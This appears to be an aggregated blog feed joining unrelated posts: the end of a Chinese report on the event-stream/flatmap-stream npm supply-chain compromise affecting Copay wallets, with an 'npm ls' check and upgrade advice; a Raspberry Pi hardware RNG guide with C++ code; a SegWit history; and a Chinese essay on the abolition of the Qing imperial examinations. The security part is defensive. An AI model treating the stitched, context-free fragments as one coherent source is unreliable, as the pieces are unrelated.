问题暴露后,copay 钱包项目组做了紧急修复并上线v5.2.0版本,但依然还有大量的未更新的钱包老版本(v5.0.2 ~ v5.1.0)中毒,他们也建议用户自行升级并将比特币转移到新的钱包中。目前已有用户声称钱包里的比特币被盗,copay 声称正在解决此事汇总。

目前已有用户声称电子钱包被盗

作为第三方开发者我们可以通过 “npm ls event-stream flatmap-stream” 来核对我们的项目里是否安装了相关的依赖包。下面是一个安装了中毒依赖包的本地项目,如果你也安装了event-stream@3.3.6 请将依赖升级到最新版即可。

[redacted]
└─┬ npm-run-all@4.1.3
  └─┬ ps-tree@1.1.0
    └─┬ event-stream@3.3.6
      └── flatmap-stream@0.1.2

针对依赖链攻击目前还没有很好的解决方法,虽然社区里有建议限制依赖包的权限或要求 npm 明文提交等方式,但短期来看都不太可能实现。

我们能做也许只有在引用依赖之前,仔细审核一下被引用的包。同时,对经过安全认证的包锁住版本,确保不会引入新的有毒依赖包。

参考文档

Raspberry Pi internal hardware random number generator

$
0
0

Raspberry Pi internal hardware random number generator

The Raspberry Pi  (A/A+/B/B+/and 2) includes a hardware based random number generator that promises to provide the fastest, best source for the typical users to obtain cryptographic quality random numbers in an extremely small portable package.

The following steps should be performed to get the hardware random number generator up and running:

  1. Install the random number generator tools (sudo apt-get install rng-tools)
  2. Add the hwrng module to the boot process (add line ‘bcm2708-rng’ to file /etc/modules)
  3. Reboot the machine
  4. /dev/hwrng is now available for reading (root access only)
  5. sudo chmod a+r /dev/hwrng  (gives user lever read access).  This only stays until machine rebooted!
  6. To make the change permanent, make the following change in the /etc/rc.local file:
#!/bin/sh -e 

# rc.local 

# This script is executed at the end of each multiuser runlevel. 
# Make sure that the script will "exit 0" on success or any other 
# value on error. 

# In order to enable or disable this script just change the execution 
# bits. 

# By default this script does nothing. 

# Print the IP address 
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
  printf "My IP address is %s\n" "$_IP"
fi

# ADD this line just above the exit 0 command
chmod a+r /dev/hwrng

exit 0

One way to generate a 1 megabyte file with random numbers (bytes) is to use the following command:

dd if=/dev/hwrng of=hwrng-test-data.bin bs=1024 count=1024

Testing

I used the following dd command on a pi to collect 4GB of data from its internal hardware random number generator.

dd bs=1024 count=4194304 if=/dev/hwrng of=hwrng.01.bin

I repeated this collection several times to have independent samples to perform analysis testing on.  The detailed results of these tests are here:

As you can see from the above detailed analysis of the samples, the data behaves exactly as we would expect a true random number generator to perform, it occasionally fails some tests, but those failures are not duplicated on subsequent samples indicating the failures are just examples of random chance as one would expect.  Overall the built in hardware random generator on the Raspberry Pi appears  to perform quite well, and at 1 million bits per second is likely the most affordable true random number generator available to the general public.

Using the generator

The dd command works well for  creating a binary file of random numbers; however, that is less than useful for most applications.  Since I am in the process of setting up a Pi Cluster, I thought it would be nice to create a class to encapsulate obtaining random numbers in a variety of formats.  Ultimately I am planning on producing software that will make use of the Raspberry Pi cluster to serve up random numbers to other machines that will make use of them for things like simulations.  Until then here is the class that encapsulates the random number generator.

The class library to use the Raspberry Pi hardware random number generator is trng.h  This class contains only four methods.

trng.random()

This method will return a full range (32 or 64 bit) random number depending upon the data type used.  For integers, the number is self-explanatory.  For real numbers (float and double) the value will be between 0 and 1.

trng.random(max)

This method will return a random number between 0 and the specified max.

trng.random(min,max)

This method will return a random number between min and max

trng.rnorm(mean, stdDev)

This method will return a random number with a gaussian (normal, bell-curve) distribution that has the specified mean and standard deviation, if and only if the data type is a float or a double.  For all other types this method will always return a 0.

Example of how to use

// test-suite.cpp
//
// Copyright 2014 by Walter Anderson
//
// This program is a basic example and test-suite of how to use the
// trng class on a Raspberry Pi to obtain true random numbers in a
// variety of forms.
//
// This is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// It is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Entropy.  If not, see <http://www.gnu.org/licenses/&gt;.
#include <iostream>
#include <iomanip>
#include "trng.h"

using namespace std;

int main(int argc, char *argv[])
{
cout << "Basic tests of the Raspberry Pi trng class\n";
cout << setfill(' ') << setw(10) << dec;
trng<unsigned int> rng_int;
cout << "\n32-bit unsigned integers\n\ttrng<unsigned int> rng\n";
cout << "\trng.random()\t" << rng_int.random() << "\n";
cout << "\trng.random(10)\t" << rng_int.random(10) << "\n";
cout << "\trng.random(256)\t" << rng_int.random(256) << "\n";
cout << "\trng.random(64K)\t" << rng_int.random(65536) << "\n";
cout << "\trng.random(1,7)\t" << rng_int.random(1,7) << "\n";

cout << setfill(' ') << setw(20) << dec;
trng<unsigned long long> rng_ull;
cout << "\n64-bit unsigned integers\n\ttrng<unsigned long long> rng\n";
cout << "\trng.random()\t\t\t" << rng_ull.random() << "\n";
cout << "\trng.random(10000000000)\t\t" << rng_ull.random(10000000000) << "\n";
cout << "\trng.random(10000000000,70000000000)\t" << rng_ull.random(10000000000,70000000000) << "\n";

cout << setprecision(6) << setw(12);
trng<float> rng_float;
cout << "\nSingle precision real numbers\n\ttrng<float> rng\n";
cout << "\trng.random()\t\t" << rng_float.random() << "\n";
cout << "\trng.random(100.0)\t" << rng_float.random(100.0) << "\n";
cout << "\trng.random(10.0,20.0)\t" << rng_float.random(10.0,20.0) << "\n";
cout << "\trng.random(-1.0,1.0)\t" << rng_float.random(-1.0,1.0) << "\n";
cout << "\trng.rnorm(100.0,10.0)\t" << rng_float.rnorm(100.0,10.0) << "\n";

cout << setprecision(16) << setw(24);
trng<double> rng_double;
cout << "\nDouble precision real numbers\n\ttrng<double> rng\n";
cout << "\trng.random()\t\t" << rng_double.random() << "\n";
cout << "\trng.random(100.0)\t" << rng_double.random(100.0) << "\n";
cout << "\trng.random(10.0,20.0)\t" << rng_double.random(10.0,20.0) << "\n";
cout << "\trng.random(-1.0,1.0)\t" << rng_double.random(-1.0,1.0) << "\n";
cout << "\trng.rnorm(100.0,10.0)\t" << rng_double.rnorm(100.0,10.0) << "\n";

return(0);
}

This will produce something like the following output on a Raspberry Pi:

wandrson@PiClstr01 ~/Development/trng $ ./test-suite
Basic tests of the Raspberry Pi trng class

32-bit unsigned integers
    trng<unsigned int> rng
    rng.random()    363060944
    rng.random(10)    6
    rng.random(256)    167
    rng.random(64K)    9549
    rng.random(1,7)    1

64-bit unsigned integers
    trng<unsigned long long> rng
    rng.random()                18158521333103429368
    rng.random(10000000000)            6185328474
    rng.random(10000000000,70000000000)    20057500399

Single precision real numbers
    trng<float> rng
    rng.random()        0.875868
    rng.random(100.0)    4.90507
    rng.random(10.0,20.0)    16.9112
    rng.random(-1.0,1.0)    -0.918352
    rng.rnorm(100.0,10.0)    105.194

Double precision real numbers
    trng<double> rng
    rng.random()        0.101364384401903
    rng.random(100.0)    17.68870818557542
    rng.random(10.0,20.0)    17.40012921593946
    rng.random(-1.0,1.0)    -0.2272936767514655
    rng.rnorm(100.0,10.0)    112.4538963802969
wandrson@PiClstr01 ~/Development/trng $ 

Bitcoin Testnet Faucets

The Long Road to SegWit: How Bitcoin’s Biggest Protocol Upgrade Became Reality

$
0
0

Segregated Witness (SegWit) has activated on Bitcoin. As of today, all SegWit-ready nodes on the Bitcoin network are enforcing the new rules, marking Bitcoin’s biggest protocol upgrade to date.

But activation did not come easy, and it did not come fast.

This is a look back at the long road to SegWit.

The Problem

Bitcoin transactions consist of two main parts. One part is “base transaction data.” That covers which bitcoins are being moved and where they are being moved to, as well as some other data. The second part is called the “witness.” This contains a bit of code with cryptographic signature data, which proves that the owner of a bitcoin really did want to spend the bitcoin.

It’s this signature data that brings a slight complication with it. In what is referred to as the “malleability bug,” Bitcoin signatures can be slightly altered by anyone, even after these signatures are created and without invalidating the signatures. This in turn means that the appearance of the whole transaction, and more specifically the transaction identifier, can be altered by those relaying transactions over the Bitcoin network or by miners that include transactions in blocks.

Statistics from the malleability attack that hit Bitcoin in late 2015. The red lines roughly represent malleated transactions on the network.

Statistics from the 2015 malleability attack on Bitcoin. The red lines roughly represent malleated transactions on the network
This doesn’t need to be a big problem in itself. Transactions are still valid and will move the bitcoins from the same place to the same place, under all the same conditions. However, it does complicate creating newer transactions depending on unconfirmed transactions: New transactions need to know the transaction identifier they rely on. This, in turn, makes it significantly harder to build certain second-layer protocols on top of Bitcoin, like bi-directional payment channels.

The Idea

The general idea to solve the malleability bug by “separating” signature data from other transaction data stems back several years.

As far back as 2012, the likes of Bitcoin Core contributors Russell O’Connor, Matt Corallo, Luke Dashjr and Gregory Maxwell, as well as Bitcointalk moderator “Theymos,” discussed the issue on IRC Bitcoin development channels — but at that time they didn’t see a tenable way of pulling it off on the Bitcoin network.

Russell O'Connor (roconnor_), Gregory Maxwell (gmaxwell), Luke Dashjr (luke-jr) and Theymos discuss the malleability bug on IRC back in 2012

Russell O’Connor, Gregory Maxwell, Luke Dashjr and Theymos discuss the malleability bug on IRC back in 2012
A year later, in August 2013, the issue resurfaced, as Bitcoin Core contributors Peter Todd and Gregory Maxwell were having similar discussions on IRC. But now, the two were making progress with their ideas to counter malleability. “I’m talking about making the [entirety] of the scriptsig largely [separate],” Maxwell wrote. “I’d even suggest using as [transaction ID] the transaction without the scriptsigs.”

Another month later, Maxwell and, this time, well-known cryptographer Dr. Adam Back were discussing the malleability issue on IRC once again. Now, Back suggested computing the transaction ID by omitting the signature. Though, Maxwell commented, “getting the sig out of the txid could help but that would be a very deep hardforking change … and it’s actually tricky to make secure.”

The Sidechain

Blockstream's initial proposal for sidechain extensions for Bitcoin's blockchain

Blockstream’s initial proposal for sidechain extensions for Bitcoin’s blockchain
In August 2014, blockchain technology company Blockstream was founded by the same Adam Back and Gregory Maxwell, as well as entrepreneur and investor Austin Hill and several Bitcoin Core developers, including Dr. Pieter Wuille. The company was set to focus on sidechains: alternative blockchains that can effectively be pegged to Bitcoin.

By early 2015, Blockstream engineers decided to implement a new feature in the company’s prototype sidechain Elements, which was publicly announced in June of that year. This feature would conclusively solve the malleability issue on the sidechain — by separating base transaction data from witness data into different data structures.

The name of this new feature was, of course, Segregated Witness.

The Block Size Dispute

It had been looming for some time, technically since October 2010, more concretely since February 2013and finally publicly, bursting onto the scene by the spring of 2015: the block size limit dispute.

Former Bitcoin Core lead developer Gavin Andresen and Bitcoinj lead developer Mike Hearn, in particular, believed that Bitcoin’s 1 megabyte block size limit should be increased with a hard fork, an incompatible protocol change that would require almost the entire Bitcoin ecosystem to upgrade. No easy task — even more so because there was no community-wide consensus for this change.

Regardless, by the summer of 2015, Andresen and Hearn announced that they would move forward with their plans, using the alternative Bitcoin XT software client. The controversial nature of the effort put the Bitcoin development community and industry in somewhat of a state of emergency.

In an attempt to resolve the divide and potentially help figure out a resolution to the block size dispute, two conferences (or workshops) were quickly organized in the latter half of 2015: Scaling Bitcoin Montreal andScaling Bitcoin Hong Kong.

One of the most promising scaling proposals presented in Montreal was the lightning network, a sophisticated second-layer scaling solution that was detailed in a white paper published by Joseph Poon and Thaddeus Dryja only months earlier. The only problem: this solution would require a malleability fix.

The Soft Fork

Eric Lombrozo (CodeShark), Wladimir van der Laan (wumpus), Luke Dashjr (luke-jr) and Dr. Pieter Wuille (sipa) discuss SegWit as a soft fork on IRC

At this point in time, developers were still not sure if and how the malleability bug could be fixed. Most still thought Segregated Witness could not be implemented on Bitcoin’s main chain without a hard fork.

But not Bitcoin Core contributor (and Bitcoin Knots maintainer) Luke Dashjr.

In October 2015, right between the two Scaling Bitcoin conferences, Bitcoin Core contributors Eric Lombrozo, Pieter Wuille, Wladimir van der Laan and Luke Dashjr discussed a potential new model for soft forks on IRC. During this chat, Dashjr pointed out that the proposed mechanism wouldn’t work for all potential soft forks, like a SegWit soft fork.

Interestingly, what Dashjr considered obvious — the option to deploy SegWit as a soft fork — had not even been considered by others at all. And even Dashjr didn’t seem to realize the implications of this possibility at first.

To deploy SegWit as a soft fork, witness data had to be placed in a new part of a Bitcoin block. And the “anchor” for all of this witness data (the “Merkle root”) had to be moved to a somewhat unconventional part of a Bitcoin block: the coinbase transaction that rewards miners new coins.

While unconventional, the Bitcoin Core contributors would, over the days and weeks that followed, also come to realize that this method opened up an interesting “bonus.” By creating a new part of a Bitcoin block for the witness data, Bitcoin’s block size could be increased in such a way that non-upgraded nodes wouldn’t notice. This could actually increase Bitcoin’s block size without increasing Bitcoin’s existing block size limit.

Mere weeks before the second Scaling Bitcoin workshop, several Bitcoin Core contributors thought they may finally have found at least a temporary solution for the block size limit dispute. Segregated Witness would effectively increase the limit in a backward-compatible manner, while at the same time fixing the long-standing malleability bug, thereby enabling more advanced scaling solutions like the lightning network.

A win-win-win solution — or so they thought.

The Presentation

Segregated Witness — as a soft fork — was first presented by Pieter Wuille in December 2015, at the second edition of the Scaling Bitcoin workshops in Hong Kong. Many first heard about the proposal there, and it initially seemed to be welcomed with enthusiasm.

Shortly after this second edition of Scaling Bitcoin had ended, Gregory Maxwell proposed what has become known as the scaling roadmap, which featured SegWit as a centerpiece. This roadmap was quicklyendorsed by the Bitcoin Core development team, as well as other developers and users in the broader Bitcoin ecosystem.

The Critique

But despite initial excitement, Segregated Witness had its critics, too.

Concerns about the proposed protocol upgrade varied. Jeff Garzik, the former Bitcoin Core contributor — who would soon after found his own development company Bloq — did not consider SegWit a sufficient short-term scaling solution. Bitcoin XT lead developer Mike Hearn, meanwhile, was not convinced by the proposal at all: He dismissed the solution as an “accounting trick” and completely quit Bitcoin development shortly after.

Jonathan Toomim, developer for alternative software client Bitcoin Classic, argued that the proposal was “ugly and awkward,” suggesting it would be better implemented as a hard fork. Even Bitcoin Core contributor Peter Todd had his concerns, in particular related to mining.

Most of these issues were deemed either solvable, unconvincing or worth the trade-off by the Bitcoin Core development team at large, however. Development of the soft-fork upgrade commenced.

The Development

Even though a version of Segregated Witness was already implemented on Elements, the code for the Bitcoin main chain version mostly had yet to be written, not only because it needed to be implemented as a soft fork, but also because SegWit for Bitcoin would enjoy a range of new features not present in Elements: for example, the “witness discount” necessary to increase the block size, new compatibility for the peer-to-peer network and more.

The concrete Bitcoin Improvement Proposal for SegWit, BIP141, was authored by Pieter Wuille, Ciphrex CEO Eric Lombrozo and independent Bitcoin Core contributor Dr. Johnson Lau. By early January 2016, in the midst of a heated scaling debate, these and other Bitcoin Core contributors launched an initial dedicated test network for the protocol upgrade, which was dubbed SegNet. Another two weeks later, this testnet was taken public for the wider Bitcoin development community to experiment with. And by March, SegNet was upgraded to support test versions of the lightning network.

Development continued for the months to come, taking in feedback from Bitcoin’s development community, fixing bugs, improving the codebase accordingly and launching several more iterations of SegNet(s).

The Segregated Witness' GitHub page, where development and other issues are publicly visible for anyone to keep track of, and contribute.

The SegWit GitHub page, where development and other issues are publicly visible for anyone to keep track of and contribute to
Meanwhile, Bitcoin Core contributors also reached out to the broader Bitcoin industry, which over time led to a consistently growing list of companies and projects committing to supporting Segregated Witness.

By June, the Segregated Witness code counted 4,743 lines of code (including test code) and proposed removing or modifying 554 existing lines of Bitcoin Core code. After more review from several contributors, Bitcoin Core lead maintainer, Wladimir van der Laan, merged it into Bitcoin Core’s “master branch” by the end of that month.

The Meetings

At the same time that SegWit was being developed, block size tensions in the Bitcoin community were once again heating up. This time spearheaded by Bitcoin Classic, a number of Bitcoin companies and miners appeared determined to hard fork in order to increase the block size limit to 2 megabytes.

In what is perhaps best described as an emergency meeting, once again in Hong Kong, several Bitcoin Core contributors, mining pool operators and other Bitcoin industry members met to discuss the scaling issue.

The meeting led to an agreement that came to be known as the “Bitcoin Roundtable Consensus” (or the “Hong Kong Agreement”). The Bitcoin Core contributors present at the meeting agreed to work on a block size limit increase hard fork to be proposed to the Bitcoin Core development team and the wider Bitcoin community. The miners, in turn, agreed to run a SegWit release in production by the time such a hard fork would be released in a version of Bitcoin Core. The crisis seemed to have been averted — even though it quickly became clear that not everyone was happy about the agreement.

Several months later, an even bigger group of Bitcoin Core contributors and mining pool operators met in California. The Bitcoin Core contributors present at this meeting left convinced that Segregated Witness would be activated by the miners.

The Release

About six months behind on the initial schedule — the release was originally set for April — Segregated Witness was officially introduced October of 2016, in Bitcoin Core version 0.13.1. The protocol upgrade was also implemented in several other Bitcoin implementations, like Bitcoin Knots and Bcoin.

Using an activation method called “VersionBits” (BIP9), designed to minimize network disruption, 95 percent of miners (by hash power) had to signal support for SegWit to activate on the Bitcoin network. This miner signaling was to start on November 15th. Meanwhile, users were encouraged to upgrade their clients, which over time, it seemed, many did.

As of August 2017, the vast majority of the Bitcoin network consists of SegWit-ready nodes

As of August 2017, the vast majority of the Bitcoin network consists of SegWit-ready nodes (source: luke.dashjr.org)
Based on the meetings with mining pool operators, as well as a general conviction that SegWit would be a boon for Bitcoin, many expected that the soft fork would be activated rather quickly.

The Politics

But that’s not what happened. As it turned out, several attendees of the Hong Kong Roundtable Consensus disagreed over what they had actually signed onto.

Bitmain co-CEO Jihan Wu, in particular, indicated he would only be willing to activate SegWit if the Bitcoin Core development team also implemented a hard fork to increase the block size limit in their codebase. Other mining pools, including F2Pool, HaoBTC and bitcoin.com didn’t signal support for the soft fork either.

Bitmain (and subsidiary AntPool) demand a hard fork block size limit increase in return for SegWit activation.

Bitmain (and subsidiary AntPool) demand a hard fork block size limit increase in return for SegWit activation.
Moreover, a new Chinese mining pool emerged: ViaBTC. With close ties to Bitmain, ViaBTC alone garnered enough hash power to single-handedly block SegWit activation. And its operator, Haipo Yang, positioned himself as a staunch critic of the proposed protocol upgrade.

SegWit activation seemed far away.

The UASF

The avatar of pseudonymous Bitcoin and Litecoin developer Shaolinfry

The avatar of pseudonymous Bitcoin and Litecoin developer Shaolinfry
In February 2017, a little over three months after the official release of SegWit, a new opportunity presented itself.

The pseudonymous developer “Shaolinfry,” who had previously contributed to Litecoin, dropped a new proposal in the Bitcoin development mailing list and the popular bitcointalk.org forum: a “user activated soft fork” or “UASF.”

Shaolinfry argued in his email that the hash power activation mechanism that had become the standard for soft forks was never intended to be a “vote.” “[T]he signaling methodology is widely misinterpreted to mean the hash power is voting on a proposal and it seems difficult to correct this misunderstanding in the wider community,” he wrote.

Shaolinfry proposed an alternative: a user activated soft fork (UASF). Instead of hash power activation, a user activated soft fork would have a “‘flag day activation’ where nodes begin enforcement at a predetermined time in the future.” As long as such a UASF is enforced by an economic majority, this should compel a majority of miners to follow (or activate) the soft fork.

The idea immediately generated buzz throughout Bitcoin forums and social media. And when former BTCC COO and outspoken SegWit proponent Samson Mow set up a bounty fund for the development of a UASF software implementation, it seemed like the proposal could become a reality.

The Patented Technology

In the first week of April 2017, Gregory Maxwell dropped what was widely considered a bombshell revelation on the Bitcoin development mailing list.

Maxwell claimed to have reverse-engineered a specialized ASIC-mining chip and found that it included patented AsicBoost technology. What’s more, Maxwell revealed that covert use of the technology would be incompatible with a soft-forked version of SegWit. “An incompatibility would go a long way to explain some of the more inexplicable behavior from some parties in the mining ecosystem,” he noted.

While no specific ASIC-manufacturer was mentioned in Maxwell’s email, Bitmain acknowledged that it had implemented the patented technology in their mining chips — though it denied having used it on Bitcoin’s mainnet.

Either way, for some users the revelation added to the desire to have the Segregated Witness soft fork activated on the Bitcoin network. And, as hash power activation seemed even less likely now, a user activated soft fork was increasingly looking like the solution to accomplish that.

The BIP148 Proposal

Shortly after proposing the general idea of a UASF, Shaolinfry and about a dozen other members of the Bitcoin community opened a UASF channel on the Bitcoin Core Community Slack.

The channel became a central point of discussion and organization for the initiative. A flag date was picked, initially for October 1, then later moved to August 1 to better account for potentially low hash power support. Shaolinfry authored a concrete Bitcoin Improvement Proposal: BIP148Open Dime founder Rodolfo Novak also established an informational website to promote the idea.

The initial plan was to get exchanges and other businesses on board with the UASF. If these companies would support the proposal and enforce the soft fork, it would go a long way in realizing a desired economic majority.

But the UASF did not gain the level of traction some of its proponents hoped for. While a number of companies and some developers seemed onboard with BIP148, no major exchanges or other businesses declared support and some even spoke out against the initiative.

And, by mid-April, Gregory Maxwell on the Bitcoin development mailing list stated that he believed BIP148 to be a bad idea as well. Coming from one of the most respected and influential Bitcoin Core contributors, his rejection of the initiative had an impact: This version of a UASF appeared to be losing all momentum.

Instead, some began to work on an alternative UASF: BIP149.

The Altcoins

Many altcoins are based on Bitcoin’s codebase. This means that the SegWit code, while developed for Bitcoin, is largely compatible with these alternative cryptocurrencies. Unsurprisingly, therefore, several altcoins decided to implement SegWit. The first to activate Segregated Witness was Groestlcoin as early as January 2017.

But other coins were struggling. Litecoin, Vertcoin and Viacoin all seemed to have been caught in Bitcoin’s political game. These coins relied on the same miners as Bitcoin, to a large extent, and most were not signaling support for the upgrade.

This was allegedly due to technical issues or other stated reasons, but, as Viacoin lead developer Romano noted, “It seems more likely they want to refrain from activating Segregated Witness on altcoins because that would give them even less reason to hold off activation on Bitcoin.”

By April of 2017, this attitude led Litecoin creator Charlie Lee to advocate for a user activated soft fork on “his” coin. His initiative was eagerly picked up among Litecoin users; it didn’t take long for Litecoin miners, Lee, and other members of the Litecoin ecosystem to arrange an online meeting, the result of which was the Litecoin Global Roundtable Resolution. In exchange for some commitments by Lee, miners agreed to activate SegWit. ShaolinFry and others considered the UASF effort a success.

Charlie Lee [LTC⚡]

✔@SatoshiLite

If you support SegWit on Litecoin, talk to your wallets and exchanges about supporting UASF. See http://uasf.co  for more info.

Charlie Lee [LTC⚡]

✔@SatoshiLite

Sad if true. But this is how revolutions start. https://twitter.com/shaolinfry/status/850995104240336896 

2,164 people are talking about this

Within a week after SegWit activation on Litecoin, an unknown person made a bold move. He (or she) sent $1 million worth of the cryptocurrency to a SegWit-protected address, challenging anyone to steal the funds if they could. To this date, the bounty remains untouched, further strengthening confidence in the technology.

The New York Agreement

Meanwhile, the block size debate raged on. Another software client to increase Bitcoin’s block size limit per hard fork, Bitcoin Unlimited gained traction among Bitcoin’s mining community. Endorsed by Bitmain’s Wu in particular, the project appeared to be heading toward a potential (and controversial) hard fork.

This looming threat, and the possibility of a “split” in Bitcoin’s blockchain, was reason for DCG founder and CEO Barry Silbert to organize a meeting ahead of the Consensus 2017 conference in New York. Initially announced on a private email list for Bitcoin entrepreneurs and other prominent industry members, the meeting would bring together a significant chunk of the Bitcoin industry, including miners — though, notably, no Bitcoin Core contributors.

The outcome of that meeting is typically referred to as the “New York Agreement.” Participants agreed on what they deemed to be a compromise between those who wanted to increase Bitcoin’s block size with a hard fork and those who preferred SegWit. Based on an idea originally proposed by RSK founder Sergio Demian Lerner, SegWit would be activated under specific conditions, while there would also be a hard fork to double Bitcoin’s “base block size limit.”

The New York Agreement and its two concrete points of action

The New York Agreement and its two concrete points of action
But while it sufficed to say not everyone in the Bitcoin ecosystem supported the agreement, one specific problem stood out in particular. The conditions for SegWit activation were largely incompatible with those proposed by the Bitcoin Core development team, for which the code was already widely adopted by Bitcoin users.

The Intolerant Minority

Imagery by Samson Mow in support of the BIP148 UASF

Imagery by Samson Mow in support of the BIP148 UASF
While the BIP148 UASF seemed to have lost a lot of steam in favor of BIP149, not everyone had given up on this first UASF proposal completely.

Shaolinfry had proposed the concept under the assumption that it would be backed by an economic majority and thought it should be aborted before the flag day otherwise. But a group of users on the UASF Slack channel had a different idea. Some of them — including Bitcoin Core and Bitcoin Knots developer Luke Dashjr — were contemplating activating the soft fork regardless of what the rest of the Bitcoin ecosystem would do. Even if they were a minority, and even if they’d effectively spin themselves off into a new altcoin, they would move forward with the upgrade.

Around mid-May, Alphonse Pace linked this determination to a game-theoretical concept described by statistician and author Nassim Nicholas Taleb: the “intolerant minority.” In short, this idea presupposes that even an economic minority should be able to compel miners to activate the Segregated Witness soft fork. They would unnecessarily lose a chunk of their “customer base” (Bitcoin users) otherwise.

Seemingly fuelled by the AsicBoost scandal, the SegWit activation on Litecoin and discontent regarding the New York Agreement — and this time backed by game theory — BIP148 support started to snowball into somewhat of a viral phenomenon on social media and message boards once again.

Several more articles discussed the growing potential of the UASF and much debate on social media, YouTube channels other discussion platforms followed. Meanwhile, Eric Lombrozo also threw his weight behind the effort, and UASF hats distributed by Samson Mow became the rage. Inspired by the codename for an upcoming Electrum Wallet release, August 1 was dubbed “Bitcoin Independence Day.”

The only problem: activation methods for BIP148 and the New York Agreement were as incompatible as the New York Agreement was with the activation methods proposed by the Bitcoin Core development team.

The Kludge

It was Bitmain Warranty engineer James Hilliard who came to the rescue. Hilliard proposed a slightly complex but clever solution that would make everything compatible: Segregated Witness activation as proposed by the Bitcoin Core development team, the BIP148 UASF and the New York Agreement activation mechanism. His BIP91 could keep Bitcoin whole — at least throughout SegWit activation.

As long as a majority of miners would activate BIP91 before August 1, all Bitcoin nodes should remain part of the same network. It was a relatively small time window, since the solution was only proposed by late May, but Jeff Garzik, the main developer attached to the New York Agreement, adopted the proposal and planned to release the software client resulting from that agreement weeks before August 1. It was doable.

The Activation

nformational website XBT.eu at the time of BIP91 lock-in

Informational website XBT.eu at the time of BIP91 lock-in
By mid-July, Bitcoin miners had missed their window to activate SegWit through the method proposed by the Bitcoin Core development team in time to be compatible with BIP148. As a result, markets seemed to get nervous about a potential “split” between a BIP148 chain and a non-BIP148 chain. In the span of only a week, bitcoin’s exchange rate tumbled from around $2500 to $1900: the lowest it had been in well over a month.

Possibly startled by these market movements, Bitcoin’s mining community started to rapidly signal support for BIP91, even ahead of the schedule set forth by the New York Agreement. And on July 20, ten days before BIP148’s August 1 flag day for activation, BIP91 locked in. It activated a little over two days later.

With BIP91 locked in, it was only a matter of time before Segregated Witness itself would lock in. This ultimately happened on August 9 — the point of no return having been reached on August 8.

Bitcoin would “officially” get SegWit after another two-week grace period.

The Adoption

Segregated Witness logo designed by Albert Dros

Segregated Witness logo designed by Albert Dros
The final step for Segregated Witness is, of course, actual user adoption. Since SegWit has only just activated at the time of publication of this article, it’s impossible to know how quickly and how much the upgrade will actually be used. Some critics, perhaps most notably Garzik, predict that widespread adoption could take up to a year or even longer. Others, including a number of wallet and library developers, think they can utilize the feature within weeks, or they are prepared already. And other technologies that depend on the upgrade, such as the Lightning Network, but also Merkelized Abstract Syntax Trees (MAST), atomic swapsfaster transaction signing for hardware wallets, the more efficient Schnorr signature algorithm, and TumbleBit in payment processor mode, are in various stages of development as well.

It’s been a long road, but anyone who wants to use Segregated Witness should now be able to do so, starting today.

论就业的重要性

$
0
0

论就业的重要性

12.15 09:57
阅读 18647

大清GAME OVER的根本原因,在自身技术上来讲并不在1911,而在1905。简单点说,无非六个字“废科举,练新军”。

当然维尼无意重复泛论的学术定见,什么历史潮流浩浩荡荡云云。小熊治学,就一个字“推”,从事件源头上层层逻辑推导,最后自然会有很明了的结果。时间有限,以下开始推,文盲们注意跟上维尼的节奏。

当初为何要废科举,大概念统统闪开,实际就一个原始推动力,中央朝廷与地方督抚的权力博弈。地方督抚势力能够崛起,和朝廷叫板。

两个时间点,一是太平天国,督抚借就地筹饷之机,开辟厘金税源,进而插足地方财政,原本只对户部负责的藩台,此后不得不同时受制于督抚,于是出现一仆二主,财权截留的格局。二是八国联军,督抚借东南互保,朝廷西狩,以地方新政为名,各自建立新学堂,其实就是侵蚀原属朝廷吏部的组织人事权,培养地方干部。

庚子之前,督抚也可以委派私人,但属于杂途,相对于朝廷科举体制运转产出正式干部,这些杂途各方面受限很多,督抚用之不能完全如身使臂。辛丑条约是份大礼,有一条规定在洋人害被虐地方,停止文武各等考试五年。也就是中央实控区,整个组织人事体制被迫暂时停摆,东南督抚此刻则大兴学堂,加快批量出场自己的干部。五年到期,第一个问题来了,是科举复兴,还是学堂扶正?

 

 

这是京地朝野两条路线的权力博弈问题,表面上有个很普通的切入点,毁于庚子战火的京师贡院修不修。主修的是内阁军机大臣王文韶,主废的是袁世凯,张之洞领衔的地方六督抚。修就是组织权重回朝廷掌握,废就是默认前五年人事权下移,同时要承认这为今后的主流改革方向。

这个回合,督抚集团赢了,一是日俄战争结果,新政策推行,舆论环境等等总体大背景都有利于他们,二是内阁中清流世代交替,王文韶被自己的学生瞿鸿機拱翻,失势去职。剩下另三个军机大臣,庆王是袁世凯的盟友,鹿传麟是张之洞的亲家,瞿鸿機是岑春煊的伙伴,虽然派系不同,但在有利于督抚集体根本利益的问题上,还是有共识的,那就简单了,科举必废成为定案。

 

 

再来是第二个问题,过渡还是立废。主角变成张与袁。张在上一个阶段主废,是因为学堂创设关系到他的政治利益,这不含糊,但现在学堂制度已成定局,权力利益已经有了保证。下来的就是感情问题了。他也不想做人做得很难看,何况自身也是清流科举出道。所以他主张过渡,新老生源等等问题,分成十年三届,逐渐过渡转型。

袁就不同,他是落榜生,和科举毛个感情都没有,立废是他的主意。老佛爷又开会,找几个督抚来内阁民主集中一下,端方,岑春煊哥几个都没文凭,主流意见是立废,老张是属老甲鱼的,最后也就算了。第二个问题解决,立废。

 

 

发展到这个点上,朝廷拗不过时势,是输了一层,当然后续朝廷有的是手段,实力不足,技术可以弥补。就像当年的财权截留,京饷少了。朝廷可以祭出摊还赔款和边疆协饷两招,督抚可以少缴京城的,但是要分摊部分外债和对口支援边疆的军费(湖广支陕甘,四川支云贵,广东支广西等等),这些都是分地方之势,此刻的学堂扶正也是一样。

路线是认可了,但也有招数,一是本体,提学使要挂朝廷编制,也就是学台,地方组织部不能完全让督抚拿走,至少要共有,二是外挂,咨议局这些都批准上马,借在地乡绅力量,靠地方议会制衡督抚的行政权,自然也有衍生问题,例如咨议局叫板督抚衙门,朝廷很开心,但到了资政院,也就是国会层级,这帮议员来搅和内阁,朝廷就头痛,督抚刚好相反,咨议局,督抚是烦的,但资政院,督抚是挺的,新的三方博弈,也很有趣,这和维尼本文无关。略去不谈。

 

 

